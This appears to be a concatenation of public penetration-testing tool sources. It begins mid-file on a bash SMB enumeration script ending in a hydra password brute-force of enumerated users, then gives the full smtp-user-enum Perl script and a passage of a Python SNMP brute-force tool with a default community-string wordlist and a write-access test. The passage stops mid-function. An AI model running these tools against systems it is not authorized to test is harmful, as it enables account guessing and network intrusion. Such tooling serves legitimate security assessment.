26 echo -e "\n########## Enumerating password and lockout policies ##########"
27 polenum $IP
28
29 echo -e "\n########## Enumerating users ##########"
30 nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP
31 bash -c "echo 'enumdomusers' | rpcclient $IP -U%"
32 bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt
33
34 echo -e "\n########## Enumerating Administrators ##########"
35 net rpc group members "Administrators" -I $IP -U%
36
37 echo -e "\n########## Enumerating Domain Admins ##########"
38 net rpc group members "Domain Admins" -I $IP -U%
39
40 echo -e "\n########## Enumerating groups ##########"
41 nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP
42
43 echo -e "\n########## Enumerating shares ##########"
44 nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP
45
46 echo -e "\n########## Bruteforcing all users with 'password', blank and username as password"
47 hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1
48 rm /tmp/$IP-users.txt
49
0 #!/usr/bin/perl -w
1 # smtp-user-enum - Brute Force Usernames via EXPN/VRFY/RCPT TO
2 # Copyright (C) 2008 [email protected]
3 #
4 # This program is free software; you can redistribute it and/or modify
5 # it under the terms of the GNU General Public License version 2 as
6 # published by the Free Software Foundation.
7 #
8 # This program is distributed in the hope that it will be useful,
9 # but WITHOUT ANY WARRANTY; without even the implied warranty of
10 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 # GNU General Public License for more details.
12 #
13 # You should have received a copy of the GNU General Public License along
14 # with this program; if not, write to the Free Software Foundation, Inc.,
15 # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
16 #
17 # This tool may be used for legal purposes only. Users take full responsibility
18 # for any actions performed using this tool. If these terms are not acceptable to
19 # you, then do not use this tool.
20 #
21 # You are encouraged to send comments, improvements or suggestions to
22 # me at [email protected]
23 #
24 # This program is derived from dns-grind v1.0 ( http://pentestmonkey.net/tools/dns-grind )
25 #
26
27 use strict;
28 use Socket;
29 use IO::Handle;
30 use IO::Select;
31 use IO::Socket::INET;
32 use Getopt::Std;
33 $| = 1;
34
35 my $VERSION = "1.2";
36 my $debug = 0;
37 my @child_handles = ();
38 my $verbose = 0;
39 my $max_procs = 5;
40 my $smtp_port = 25;
41 my @usernames = ();
42 my @hosts = ();
43 my $recursive_flag = 1;
44 my $query_timeout = 5;
45 my $mode = "VRFY";
46 my $from_address = '[email protected]';
47 my $start_time = time();
48 my $end_time;
49 my $kill_child_string = "\x00";
50 $SIG{CHLD} = 'IGNORE'; # auto-reap
51 my %opts;
52 my $usage=<<USAGE;
53 smtp-user-enum v$VERSION ( http://pentestmonkey.net/tools/smtp-user-enum )
54
55 Usage: smtp-user-enum.pl [options] ( -u username | -U file-of-usernames ) ( -t host | -T file-of-targets )
56
57 options are:
58 -m n Maximum number of processes (default: $max_procs)
59 -M mode Method to use for username guessing EXPN, VRFY or RCPT (default: $mode)
60 -u user Check if user exists on remote system
61 -f addr MAIL FROM email address. Used only in "RCPT TO" mode (default: $from_address)
62 -D dom Domain to append to supplied user list to make email addresses (Default: none)
63 Use this option when you want to guess valid email addresses instead of just usernames
64 e.g. "-D example.com" would guess foo\@example.com, bar\@example.com, etc. Instead of
65 simply the usernames foo and bar.
66 -U file File of usernames to check via smtp service
67 -t host Server host running smtp service
68 -T file File of hostnames running the smtp service
69 -p port TCP port on which smtp service runs (default: $smtp_port)
70 -d Debugging output
71 -t n Wait a maximum of n seconds for reply (default: $query_timeout)
72 -v Verbose
73 -h This help message
74
75 Also see smtp-user-enum-user-docs.pdf from the smtp-user-enum tar ball.
76
77 Examples:
78
79 \$ smtp-user-enum.pl -M VRFY -U users.txt -t 10.0.0.1
80 \$ smtp-user-enum.pl -M EXPN -u admin1 -t 10.0.0.1
81 \$ smtp-user-enum.pl -M RCPT -U users.txt -T mail-server-ips.txt
82 \$ smtp-user-enum.pl -M EXPN -D example.com -U users.txt -t 10.0.0.1
83
84 USAGE
85
86 getopts('m:u:U:s:S:r:dt:vhM:f:D:p:', \%opts);
87
88 # Print help message if required
89 if ($opts{'h'}) {
90 print $usage;
91 exit 0;
92 }
93
94 my $username = $opts{'u'} if $opts{'u'};
95 my $username_file = $opts{'U'} if $opts{'U'};
96 my $host = $opts{'t'} if $opts{'t'};
97 my $host_file = $opts{'T'} if $opts{'T'};
98 my $file = $opts{'f'} if $opts{'f'};
99 my $domain = ""; $domain = $opts{'D'} if $opts{'D'};
100
101 $max_procs = $opts{'m'} if $opts{'m'};
102 $verbose = $opts{'v'} if $opts{'v'};
103 $debug = $opts{'d'} if $opts{'d'};
104 $smtp_port = $opts{'p'} if $opts{'p'};
105 $mode = $opts{'M'} if $opts{'M'};
106 $from_address = $opts{'f'} if $opts{'f'};
107
108 # Check for illegal option combinations
109 unless ((defined($username) or defined($username_file)) and (defined($host) or defined($host_file))) {
110 print $usage;
111 exit 1;
112 }
113
114 # Check for strange option combinations
115 if (
116 (defined($host) and defined($host_file))
117 or
118 (defined($username) and defined($username_file))
119 ) {
120 print "WARNING: You specified a lone username or host AND a file of them. Continuing anyway...\n";
121 }
122
123 # Check valid mode was given
124 unless ($mode eq "EXPN" or $mode eq "VRFY" or $mode eq "RCPT") {
125 print "ERROR: Invalid mode specified with -M. Should be VRFY, EXPN or RCPT. -h for help\n";
126 exit 1;
127 }
128
129 # Shovel usernames and host into arrays
130 if (defined($username_file)) {
131 open(FILE, "<$username_file") or die "ERROR: Can't open username file $username_file: $!\n";
132 @usernames = map { chomp($_); $_ } <FILE>;
133 }
134
135 if (defined($host_file)) {
136 open(FILE, "<$host_file") or die "ERROR: Can't open username file $host_file: $!\n";
137 @hosts = map { chomp($_); $_ } <FILE>;
138 }
139
140 if (defined($username)) {
141 push @usernames, $username;
142 }
143
144 if (defined($host)) {
145 push @hosts, $host;
146 }
147
148 if (defined($host_file) and not @hosts) {
149 print "ERROR: Targets file $host_file was empty\n";
150 exit 1;
151 }
152
153 if (defined($username_file) and not @usernames) {
154 print "ERROR: Username file $username_file was empty\n";
155 exit 1;
156 }
157
158 print "Starting smtp-user-enum v$VERSION ( http://pentestmonkey.net/tools/smtp-user-enum )\n";
159 print "\n";
160 print " ----------------------------------------------------------\n";
161 print "| Scan Information |\n";
162 print " ----------------------------------------------------------\n";
163 print "\n";
164 print "Mode ..................... $mode\n";
165 print "Worker Processes ......... $max_procs\n";
166 print "Targets file ............. $host_file\n" if defined($host_file);
167 print "Usernames file ........... $username_file\n" if defined($username_file);
168 print "Target count ............. " . scalar(@hosts) . "\n" if @hosts;
169 print "Username count ........... " . scalar(@usernames) . "\n" if @usernames;
170 print "Target TCP port .......... $smtp_port\n";
171 print "Query timeout ............ $query_timeout secs\n";
172 print "Target domain ............ $domain\n" if defined($domain);
173 print "\n";
174 print "######## Scan started at " . scalar(localtime()) . " #########\n";
175
176 # Spawn off correct number of children
177 foreach my $proc_count (1..$max_procs) {
178 socketpair(my $child, my $parent, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair: $!";
179 $child->autoflush(1);
180 $parent->autoflush(1);
181
182 # Parent executes this
183 if (my $pid = fork) {
184 close $parent;
185 print "[Parent] Spawned child with PID $pid to do resolving\n" if $debug;
186 push @child_handles, $child;
187
188 # Child executes this
189 } else {
190 close $child;
191 while (1) {
192 my $timed_out = 0;
193
194 # Read host and username from parent
195 my $line = <$parent>;
196 chomp($line);
197 my ($host, $username, $domain) = $line =~ /^(\S+)\t(.*)\t(.*)$/;
198
199 # Append domain to username if a domain was supplied
200 $username = $username . "@" . $domain if (defined($domain) and $domain);
201
202 # Exit if told to by parent
203 if ($line eq $kill_child_string) {
204 print "[Child $$] Exiting\n" if $debug;
205 exit 0;
206 }
207
208 # Sanity check host and username
209 if (defined($host) and defined($username)) {
210 print "[Child $$] Passed host $host and username $username\n" if $debug;
211 } else {
212 print "[Child $$] WARNING: Passed garbage. Ignoring: $line\n";
213 next;
214 }
215
216 # Do smtp query with timeout
217 my $response;
218 eval {
219 local $SIG{ALRM} = sub { die "alarm\n" };
220 alarm $query_timeout;
221 my $s = IO::Socket::INET->new( PeerAddr => $host,
222 PeerPort => $smtp_port,
223 Proto => 'tcp'
224 )
225 or die "Can't connect to $host:$smtp_port: $!\n";
226 my $buffer;
227 $s->recv($buffer, 10000); # recv banner
228 if ($mode eq "VRFY") {
229 $s->send("HELO x\r\n");
230 $s->recv($buffer, 10000);
231 $s->send("VRFY $username\r\n");
232 $s->recv($buffer, 10000);
233 } elsif ($mode eq "EXPN") {
234 $s->send("HELO x\r\n");
235 $s->recv($buffer, 10000);
236 $s->send("EXPN $username\r\n");
237 $s->recv($buffer, 10000);
238 } elsif ($mode eq "RCPT") {
239 $s->send("HELO x\r\n");
240 $s->recv($buffer, 10000);
241 $s->send("MAIL FROM:$from_address\r\n");
242 $s->recv($buffer, 10000);
243 $s->send("RCPT TO:$username\r\n");
244 $s->recv($buffer, 10000);
245 } else {
246 print "ERROR: Unknown mode in use\n";
247 exit 1;
248 }
249 $response .= $buffer;
250 alarm 0;
251 };
252
253 # if ($@) {
254 # $timed_out = 1;
255 # print "[Child $$] Timeout for username $username on host $host\n" if $debug;
256 # }
257
258 my $trace;
259 if ($debug) {
260 $trace = "[Child $$] $host: $username ";
261 } else {
262 $trace = "$host: $username ";
263 }
264
265 if ($response and not $timed_out) {
266
267 # Negative result
268 if ($response =~ /5\d\d \S+/s) {
269 print $parent $trace . "<no such user>\n";
270 next;
271
272 # Postive result
273 } elsif ($response =~ /2\d\d \S+/s) {
274 print $parent $trace . "exists\n";
275 next;
276
277 # Unknown response
278 } else {
279 $response =~ s/[\n\r]/./g;
280 print $parent $trace . "$response\n";
281 next;
282 }
283 }
284
285 if ($timed_out) {
286 print $parent $trace . "<timeout>\n";
287 } else {
288 if (!$response) {
289 print $parent $trace . "<no result>\n";
290 }
291 }
292 }
293 exit;
294 }
295 }
296
297 # Fork once more to make a process that will us usernames and hosts
298 socketpair(my $get_next_query, my $parent, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair: $!";
299 $get_next_query->autoflush(1);
300 $parent->autoflush(1);
301
302 # Parent executes this
303 if (my $pid = fork) {
304 close $parent;
305
306 # Chile executes this
307 } else {
308 # Generate queries from username-host pairs and send to parent
309 foreach my $username (@usernames) {
310 foreach my $host (@hosts) {
311 my $query = $host . "\t" . $username . "\t" . $domain;
312 print "[Query Generator] Sending $query to parent\n" if $debug;
313 print $parent "$query\n";
314 }
315 }
316
317 exit 0;
318 }
319
320 printf "Created %d child processes\n", scalar(@child_handles) if $debug;
321 my $s = IO::Select->new();
322 my $s_in = IO::Select->new();
323 $s->add(@child_handles);
324 $s_in->add(\*STDIN);
325 my $timeout = 0; # non-blocking
326 my $more_queries = 1;
327 my $outstanding_queries = 0;
328 my $query_count = 0;
329 my $result_count = 0;
330
331 # Write to each child process once
332 writeloop: foreach my $write_handle (@child_handles) {
333 my $query = <$get_next_query>;
334 if ($query) {
335 chomp($query);
336 print "[Parent] Sending $query to child\n" if $debug;
337 print $write_handle "$query\n";
338 $outstanding_queries++;
339 } else {
340 print "[Parent] Quitting main loop. All queries have been read.\n" if $debug;
341 last writeloop;
342 }
343 }
344
345 # Keep reading from child processes until there are no more queries left
346 # Write to a child only after it has been read from
347 mainloop: while (1) {
348 # Wait until there's a child that we can either read from or written to.
349 my ($rh_aref) = IO::Select->select($s, undef, undef); # blocking
350
351 print "[Parent] There are " . scalar(@$rh_aref) . " children that can be read from\n" if $debug;
352
353 foreach my $read_handle (@$rh_aref) {
354 # Read from child
355 chomp(my $line = <$read_handle>);
356 if ($verbose == 1 or $debug == 1 or not ($line =~ /<no such user>/ or $line =~ /no result/ or $line =~ /<timeout>/)) {
357 print "$line\n";
358 $result_count++ unless ($line =~ /<no such user>/ or $line =~ /no result/ or $line =~ /<timeout>/);
359 }
360 $outstanding_queries--;
361 $query_count++;
362
363 # Write to child
364 my $query = <$get_next_query>;
365 if ($query) {
366 chomp($query);
367 print "[Parent] Sending $query to child\n" if $debug;
368 print $read_handle "$query\n";
369 $outstanding_queries++;
370 } else {
371 print "DEBUG: Quitting main loop. All queries have been read.\n" if $debug;
372 last mainloop;
373 }
374 }
375 }
376
377 # Wait to get replies back from remaining children
378 my $count = 0;
379 readloop: while ($outstanding_queries) {
380 my @ready_to_read = $s->can_read(1); # blocking
381 foreach my $child_handle (@ready_to_read) {
382 print "[Parent] Outstanding queries: $outstanding_queries\n" if $debug;
383 chomp(my $line = <$child_handle>);
384 if ($verbose == 1 or $debug == 1 or not ($line =~ /<no such user>/ or $line =~ /no result/ or $line =~ /<timeout>/)) {
385 print "$line\n";
386 $result_count++ unless ($line =~ /<no such user>/ or $line =~ /no result/ or $line =~ /<timeout>/);
387 }
388 print $child_handle "$kill_child_string\n";
389 $s->remove($child_handle);
390 $outstanding_queries--;
391 $query_count++;
392 }
393 }
394
395 # Tell any remaining children to exit
396 foreach my $handle ($s->handles) {
397 print "[Parent] Telling child to exit\n" if $debug;
398 print $handle "$kill_child_string\n";
399 }
400
401 # Wait for all children to terminate
402 while(wait != -1) {};
403
404 print "######## Scan completed at " . scalar(localtime()) . " #########\n";
405 print "$result_count results.\n";
406 print "\n";
407 $end_time = time(); # Second granularity only to avoid depending on hires time module
408 my $run_time = $end_time - $start_time;
409 $run_time = 1 if $run_time < 1; # Avoid divide by zero
410 printf "%d queries in %d seconds (%0.1f queries / sec)\n", $query_count, $run_time, $query_count / $run_time;
0 #!/usr/bin/env python
1 # SNMP Bruteforce & Enumeration Script
2 # Requires metasploit, snmpwalk, snmpstat and john the ripper
3 __version__ = 'v1.0b'
4 from socket import socket, SOCK_DGRAM, AF_INET, timeout
5 from random import randint
6 from time import sleep
7 import optparse, sys, os
8 from subprocess import Popen, PIPE
9 import struct
10 import threading, thread
11 import tempfile
12
13 from scapy.all import (SNMP, SNMPnext, SNMPvarbind, ASN1_OID, SNMPget, ASN1_DECODING_ERROR, ASN1_NULL, ASN1_IPADDRESS,
14 SNMPset, SNMPbulk, IP)
15
16 ##########################################################################################################
17 # Defaults
18 ##########################################################################################################
19 class defaults:
20 rate=30.0
21 timeOut=2.0
22 port=161
23 delay=2
24 interactive=True
25 verbose=False
26 getcisco=True
27 colour=True
28
29 default_communities=['','0','0392a0','1234','2read','3com','3Com','3COM','4changes','access','adm','admin','Admin','administrator','agent','agent_steal','all','all private','all public','anycom','ANYCOM','apc','bintec','blue','boss','c','C0de','cable-d','cable_docsispublic@es0','cacti','canon_admin','cascade','cc','changeme','cisco','CISCO','cmaker','comcomcom','community','core','CR52401','crest','debug','default','demo','dilbert','enable','entry','field','field-service','freekevin','friend','fubar','guest','hello','hideit','host','hp_admin','ibm','IBM','ilmi','ILMI','intel','Intel','intermec','Intermec','internal','internet','ios','isdn','l2','l3','lan','liteon','login','logon','lucenttech','lucenttech1','lucenttech2','manager','master','microsoft','mngr','mngt','monitor','mrtg','nagios','net','netman','network','nobody','NoGaH$@!','none','notsopublic','nt','ntopia','openview','operator','OrigEquipMfr','ourCommStr','pass','passcode','password','PASSWORD','pr1v4t3','pr1vat3','private',' private','private ','Private','PRIVATE','private@es0','Private@es0','private@es1','Private@es1','proxy','publ1c','public',' public','public ','Public','PUBLIC','public@es0','public@es1','public/RO','read','read-only','readwrite','read-write','red','regional','<removed>','rmon','rmon_admin','ro','root','router','rw','rwa','sanfran','san-fran','scotty','secret','Secret','SECRET','Secret C0de','security','Security','SECURITY','seri','server','snmp','SNMP','snmpd','snmptrap','snmp-Trap','SNMP_trap','SNMPv1/v2c','SNMPv2c','solaris','solarwinds','sun','SUN','superuser','supervisor','support','switch','Switch','SWITCH','sysadm','sysop','Sysop','system','System','SYSTEM','tech','telnet','TENmanUFactOryPOWER','test','TEST','test2','tiv0li','tivoli','topsecret','traffic','trap','user','vterm1','watch','watchit','windows','windowsnt','workstation','world','write','writeit','xyzzy','yellow','ILMI']
30
31 ##########################################################################################################
32 # OID's
33 ##########################################################################################################
34 ''' Credits
35 Some OID's borowed from Cisc0wn script
36 # Cisc0wn - The Cisco SNMP 0wner.
37 # Daniel Compton
38 # www.commonexploits.com
39 # [email protected]
40 '''
41
42 RouteOIDS={
43 'ROUTDESTOID': [".1.3.6.1.2.1.4.21.1.1", "Destination"],
44 'ROUTHOPOID': [".1.3.6.1.2.1.4.21.1.7", "Next Hop"],
45 'ROUTMASKOID': [".1.3.6.1.2.1.4.21.1.11", "Mask"],
46 'ROUTMETOID': [".1.3.6.1.2.1.4.21.1.3", "Metric"],
47 'ROUTINTOID': [".1.3.6.1.2.1.4.21.1.2", "Interface"],
48 'ROUTTYPOID': [".1.3.6.1.2.1.4.21.1.8", "Route type"],
49 'ROUTPROTOID': [".1.3.6.1.2.1.4.21.1.9", "Route protocol"],
50 'ROUTAGEOID': [".1.3.6.1.2.1.4.21.1.10", "Route age"]
51 }
52
53 InterfaceOIDS={
54 #Interface Info
55 'INTLISTOID': [".1.3.6.1.2.1.2.2.1.2", "Interfaces"],
56 'INTIPLISTOID': [".1.3.6.1.2.1.4.20.1.1", "IP address"],
57 'INTIPMASKOID': [".1.3.6.1.2.1.4.20.1.3", "Subnet mask"],
58 'INTSTATUSLISTOID':[".1.3.6.1.2.1.2.2.1.8", "Status"]
59 }
60
61 ARPOIDS={
62 # Arp table
63 'ARPADDR': [".1.3.6.1.2.1.3.1 ","ARP address method A"],
64 'ARPADDR2': [".1.3.6.1.2.1.3.1 ","ARP address method B"]
65 }
66
67 OIDS={
68 'SYSTEM':["iso.3.6.1.2.1.1 ","SYSTEM Info"]
69 }
70
71 snmpstat_args={
72 'Interfaces':["-Ci","Interface Info"],
73 'Routing':["-Cr","Route Info"],
74 'Netstat':["","Netstat"],
75 #'Statistics':["-Cs","Stats"]
76 }
77
78 '''Credits
79 The following OID's are borrowed from snmpenum.pl script
80 # ----by filip waeytens 2003----
81 # ---- DA SCANIT CREW www.scanit.be ----
82 # [email protected]
83 '''
84
85 WINDOWS_OIDS={
86 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"],
87 'INSTALLED SOFTWARE': ["1.3.6.1.2.1.25.6.3.1.2","Installed Software"],
88 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"],
89 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"],
90 'DOMAIN': ["1.3.6.1.4.1.77.1.4.1","Domain"],
91 'USERS': ["1.3.6.1.4.1.77.1.2.25","Users"],
92 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"],
93 'SHARES': ["1.3.6.1.4.1.77.1.2.27","Shares"],
94 'DISKS': ["1.3.6.1.2.1.25.2.3.1.3","Disks"],
95 'SERVICES': ["1.3.6.1.4.1.77.1.2.3.1.1","Services"],
96 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"],
97 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"]
98 }
99
100 LINUX_OIDS={
101 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"],
102 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"],
103 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"],
104 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"],
105 'MOUNTPOINTS': ["1.3.6.1.2.1.25.2.3.1.3","MountPoints"],
106 'RUNNING SOFTWARE PATHS': ["1.3.6.1.2.1.25.4.2.1.4","Running Software Paths"],
107 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"],
108 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"]
109 }
110
111 CISCO_OIDS={
112 'LAST TERMINAL USERS': ["1.3.6.1.4.1.9.9.43.1.1.6.1.8","Last Terminal User"],
113 'INTERFACES': ["1.3.6.1.2.1.2.2.1.2","Interfaces"],
114 'SYSTEM INFO': ["1.3.6.1.2.1.1.1","System Info"],
115 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"],
116 'SNMP Communities': ["1.3.6.1.6.3.12.1.3.1.4","Communities"],
117 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"],
118 'IP ADDRESSES': ["1.3.6.1.2.1.4.20.1.1","IP Addresses"],
119 'INTERFACE DESCRIPTIONS': ["1.3.6.1.2.1.31.1.1.1.18","Interface Descriptions"],
120 'HARDWARE': ["1.3.6.1.2.1.47.1.1.1.1.2","Hardware"],
121 'TACACS SERVER': ["1.3.6.1.4.1.9.2.1.5","TACACS Server"],
122 'LOG MESSAGES': ["1.3.6.1.4.1.9.9.41.1.2.3.1.5","Log Messages"],
123 'PROCESSES': ["1.3.6.1.4.1.9.9.109.1.2.1.1.2","Processes"],
124 'SNMP TRAP SERVER': ["1.3.6.1.6.3.12.1.2.1.7","SNMP Trap Server"]
125 }
126
127 ##########################################################################################################
128 # Classes
129 ##########################################################################################################
130
131 class SNMPError(Exception):
132 '''Credits
133 Class copied from sploitego project
134 __original_author__ = 'Nadeem Douba'
135 https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py
136 '''
137 pass
138
139 class SNMPVersion:
140 '''Credits
141 Class copied from sploitego project
142 __original_author__ = 'Nadeem Douba'
143 https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py
144 '''
145 v1 = 0
146 v2c = 1
147 v3 = 2
148
149 @classmethod
150 def iversion(cls, v):
151 if v in ['v1', '1']:
152 return cls.v1
153 elif v in ['v2', '2', 'v2c']:
154 return cls.v2c
155 elif v in ['v3', '3']:
156 return cls.v3
157 raise ValueError('No such version %s' % v)
158
159 @classmethod
160 def sversion(cls, v):
161 if not v:
162 return 'v1'
163 elif v == 1:
164 return 'v2c'
165 elif v == 2:
166 return 'v3'
167 raise ValueError('No such version number %s' % v)
168
169 class SNMPBruteForcer(object):
170 #This class is used for the sploitego method of bruteforce (--sploitego)
171 '''Credits
172 Class copied from sploitego project
173 __original_author__ = 'Nadeem Douba'
174 https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py
175 '''
176 def __init__(self, agent, port=161, version='v2c', timeout=0.5, rate=1000):
177 self.version = SNMPVersion.iversion(version)
178 self.s = socket(AF_INET, SOCK_DGRAM)
179 self.s.settimeout(timeout)
180 self.addr = (agent, port)
181 self.rate = rate
182
183 def guess(self, communities):
184
185 p = SNMP(
186 version=self.version,
187 PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))])
188 )
189 r = []
190 for c in communities:
191 i = randint(0, 2147483647)
192 p.PDU.id = i
193 p.community = c
194 self.s.sendto(str(p), self.addr)
195 sleep(1/self.rate)
196 while True:
197 try:
198 p = SNMP(self.s.recvfrom(65535)[0])
199 except timeout:
200 break
201 r.append(p.community.val)
202 return r
203
204 def __del__(self):
205 self.s.close()
206
207 class SNMPResults:
208 addr=''
209 version=''
210 community=''
211 write=False
212
213 def __eq__(self, other):
214 return self.addr == other.addr and self.version == other.version and self.community == other.community
215
216 ##########################################################################################################
217 # Colour output functions
218 ##########################################################################################################
219
220 # for color output
221 BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)
222
223 #following from Python cookbook, #475186
224 def has_colours(stream):
225 if not hasattr(stream, "isatty"):
226 return False
227 if not stream.isatty():
228 return False # auto color only on TTYs
229 try:
230 import curses
231 curses.setupterm()
232 return curses.tigetnum("colors") > 2
233 except:
234 # guess false in case of error
235 return False
236 has_colours = has_colours(sys.stdout)
237
238 def printout(text, colour=WHITE):
239
240 if has_colours and defaults.colour:
241 seq = "\x1b[1;%dm" % (30+colour) + text + "\x1b[0m\n"
242 sys.stdout.write(seq)
243 else:
244 #sys.stdout.write(text)
245 print text
246
247
248 ##########################################################################################################
249 #
250 ##########################################################################################################
251
252 def banner(art=True):
253 if art:
254 print >> sys.stderr, " _____ _ ____ _______ ____ __ "
255 print >> sys.stderr, " / ___// | / / |/ / __ \\ / __ )_______ __/ /____ "
256 print >> sys.stderr, " \\__ \\/ |/ / /|_/ / /_/ / / __ / ___/ / / / __/ _ \\"
257 print >> sys.stderr, " ___/ / /| / / / / ____/ / /_/ / / / /_/ / /_/ __/"
258 print >> sys.stderr, "/____/_/ |_/_/ /_/_/ /_____/_/ \\__,_/\\__/\\___/ "
259 print >> sys.stderr, ""
260 print >> sys.stderr, "SNMP Bruteforce & Enumeration Script " + __version__
261 print >> sys.stderr, "http://www.secforce.com / nikos.vassakis <at> secforce.com"
262 print >> sys.stderr, "###############################################################"
263 print >> sys.stderr, ""
264
265 def listener(sock,results):
266 while True:
267 try:
268 response,addr=SNMPrecv(sock)
269 except timeout:
270 continue
271 except KeyboardInterrupt:
272 break
273 except:
274 break
275 r=SNMPResults()
276 r.addr=addr
277 r.version=SNMPVersion.sversion(response.version.val)
278 r.community=response.community.val
279 results.append(r)
280 printout (('%s : %s \tVersion (%s):\t%s' % (str(addr[0]),str(addr[1]), SNMPVersion.sversion(response.version.val),response.community.val)),WHITE)
281
282 def SNMPrecv(sock):
283 try:
284 recv,addr=sock.recvfrom(65535)
285 response = SNMP(recv)
286 return response,addr
287 except:
288 raise
289
290 def SNMPsend(sock, packets, ip, port=defaults.port, community='', rate=defaults.rate):
291 addr = (ip, port)
292 for packet in packets:
293 i = randint(0, 2147483647)
294 packet.PDU.id = i
295 packet.community = community
296 sock.sendto(str(packet), addr)
297 sleep(1/rate)
298
299 def SNMPRequest(result,OID, value='', TimeOut=defaults.timeOut):
300 s = socket(AF_INET, SOCK_DGRAM)
301 s.settimeout(TimeOut)
302 response=''
303 r=result
304
305 version = SNMPVersion.iversion(r.version)
306 if value:
307 p = SNMP(
308 version=version,
309 PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID), value=value)])
310 )
311 else:
312 p = SNMP(
313 version=version,
314 PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID))])
315 )
316
317 SNMPsend(s,p,r.addr[0],r.addr[1],r.community)
318 for x in range(0, 5):
319 try:
320 response,addr=SNMPrecv(s)
321 break
322 except timeout: # if request times out retry
323 sleep(0.5)
324 continue
325 s.close
326 if not response:
327 raise timeout
328 return response
329
330 def testSNMPWrite(results,options,OID='.1.3.6.1.2.1.1.4.0'):
331 #Alt .1.3.6.1.2.1.1.5.0
332
333 setval='HASH(0xDEADBEF)'
334 for r in results:
335 try:
336 originalval=SNMPRequest(r,OID)
337
338 if originalval:
339 originalval=originalval[SNMPvarbind].value.val
340
341 SNMPRequest(r,OID,setval)
342 curval=SNMPRequest(r,OID)[SNMPvarbind].value.val
343
344 if curval == setval:
345 r.write=True
346 try:
347 SNMPRequest(r,OID,originalval)
348 except timeout:
349 pass
350 if options.verbose: printout (('\t %s (%s) (RW)' % (r.community,r.version)),GREEN)
351 curval=SNMPRequest(r,OID)[SNMPvarbind].value.val
352 if curval != originalval:
353 printout(('Couldn\'t restore value to: %s (OID: %s)' % (str(originalval),str(OID))),RED)
354 else:
355 if options.verbose: printout (('\t %s (%s) (R)' % (r.community,r.version)),BLUE)
356 else:
357 r.write=None
358 printout (('\t %s (%s) (Failed)' % (r.community,r.version)),RED)
359 except timeout:
360 r.write=None
361 printout (('\t %s (%s) (Failed!)' % (r.community,r.version)),RED)
362 continue
363
364 def generic_snmpwalk(snmpwalk_args,oids):
365 for key, val in oids.items():
366 try:
367 printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW)
368 entry={}
369 out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines()
370
371 print '\tINFO'
372 print '\t----\t'
373 for i in out:
374 print '\t',i.strip()
375 print '\n'
376 except KeyboardInterrupt:
377 pass
378
379 def enumerateSNMPWalk(result,options):
380 r=result
381
382 snmpwalk_args=' -c "'+r.community+'" -'+r.version+' '+str(r.addr[0])+':'+str(r.addr[1])
383
384 ############################################################### Enumerate OS
385 if options.windows:
386 generic_snmpwalk(snmpwalk_args,WINDOWS_OIDS)
387 return
388 if options.linux:
389 generic_snmpwalk(snmpwalk_args,LINUX_OIDS)
390 return
391 if options.cisco:
392 generic_snmpwalk(snmpwalk_args,CISCO_OIDS)
393
394 ############################################################### Enumerate CISCO Specific
395 ############################################################### Enumerate Routes
396 entry={}
397 out=os.popen('snmpwalk'+snmpwalk_args+' '+'.1.3.6.1.2.1.4.21.1.1'+' '+'| awk \'{print $NF}\' 2>&1''').readlines()
398 lines = len(out)
399
400 printout('################## Enumerating Routing Table (snmpwalk)',YELLOW)
401 try:
402 for key, val in RouteOIDS.items(): #Enumerate Routes
403 #print '\t *',val[1], val[0]
404 out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+'| awk \'{print $NF}\' 2>&1').readlines()
405
406 entry[val[1]]=out
407
408
409 print '\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge'
410 print '\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---'
411 for j in range(lines):
412 print( '\t'+entry['Destination'][j].strip().ljust(12,' ') +
413 '\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') +
414 '\t'+entry['Mask'][j].strip().ljust(12,' ') +
415 '\t\t'+entry['Metric'][j].strip().center(6,' ') +
416 '\t'+entry['Interface'][j].strip().center(10,' ') +
417 '\t'+entry['Route type'][j].strip().center(4,' ') +
418 '\t'+entry['Route protocol'][j].strip().center(8,' ') +
419 '\t'+entry['Route age'][j].strip().center(3,' ')
420 )
421 except KeyboardInterrupt:
